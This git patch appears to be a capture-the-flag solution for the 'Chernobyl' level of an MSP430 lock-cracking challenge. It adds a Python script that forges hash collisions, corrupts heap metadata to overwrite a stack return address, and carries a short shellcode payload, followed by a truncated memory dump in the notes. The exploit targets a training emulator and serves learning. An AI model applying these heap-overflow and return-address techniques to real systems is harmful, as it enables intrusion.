From f63718bc9bdb6b7740685f1b147aef8f55ebc5ff Mon Sep 17 00:00:00 2001 From: Val Date: Fri, 2 Sep 2022 06:24:41 -0500 Subject: [PATCH] Solve Chernobyl --- .../Code/crappy_python/chernobreak.py | 53 +++++++++++++++++++ 17-Chernobyl/Notes | 35 ++++++------ readme.md | 4 +- 3 files changed, 75 insertions(+), 17 deletions(-) create mode 100644 17-Chernobyl/Code/crappy_python/chernobreak.py diff --git a/17-Chernobyl/Code/crappy_python/chernobreak.py b/17-Chernobyl/Code/crappy_python/chernobreak.py new file mode 100644 index 0000000..d2215d6 --- /dev/null +++ b/17-Chernobyl/Code/crappy_python/chernobreak.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 + +# user info +user_struct_size = 0x12 # User is a tuple of (char[16], i16) + +users_per_box = 0x5 + +# Stack info +ret_stack_addr = 0x3dce - 0x0004 # 3nd index of header struct +ret_addr = 0x49a2 # Address that will be returned to +stackbuffer_top = 0x3df0 - 0x0006 # top of stack buffer, PLUS "new " +target_offset = ((stackbuffer_top - ret_addr) & 0xffff) + 1 + +print(f"{ret_stack_addr = :x}, {ret_addr = :x}, {target_offset = :x}"); + +bnew = b'new ' + +clobber = ret_stack_addr.to_bytes(2, 'little').hex() + 'fc50' + target_offset.to_bytes(2, 'little').hex() + +''' +sub.b #1, r8 5883 +swpb r8 8810 +mov r8, sr 0248 +mov #4cfc, pc 3040 fc4c +''' +payload = "5883 8810 0248 3040fc4c" + +# Hash function, which governs the boxes +def hash(byts: bytes): + ret = 0; + for c in byts: + ret += c + ret = ((ret << 5) - ret) & 0xffff + return ret + +# Fix a string by adding a character that causes a hash collision +def fixhash(name:bytes, box:int, modulus:int): + error = box - (hash(name) % modulus) + if error % modulus == 0: + return name + name += (ord("@")+error+modulus).to_bytes(1, "big") + print(f"{name.hex() = }; {error = }; new box = {hash(name) % modulus}") + return name + +def a2h (s: str): + return bytes(s, 'ascii').hex() +payload = f'{a2h("new ")} {fixhash(bytes.fromhex(payload), 0, 16).hex()} {a2h(" ;new 8 ;new @ ;new H ;new P ;")} {bnew.hex()} {fixhash(bytes.fromhex(clobber), 0, 16).hex()} {a2h(" ;new 1 ;new 9 ;new A ;new I ;new Q ;new")}' +print(payload) + +exit(0) +while 1: + name, box = input("> ").split() + print(fixhash(bytes(name, "ascii"), int(box), 16).decode('ascii')); diff --git a/17-Chernobyl/Notes b/17-Chernobyl/Notes index 494d1a0..db57122 100644 --- a/17-Chernobyl/Notes +++ b/17-Chernobyl/Notes @@ -1,23 +1,23 @@ Hash Table, plus one full box: - -5000: 0050 1050 1500 0b00 0300 0500 1650 2c50 .P.P.........P,P -5010: 0050 2650 2100 4250 a250 0251 6251 c251 .P&P!.BP.P.QbQ.Q -5020: 2252 8252 e252 1050 3c50 2100 0b00 0000 "R.R.R.P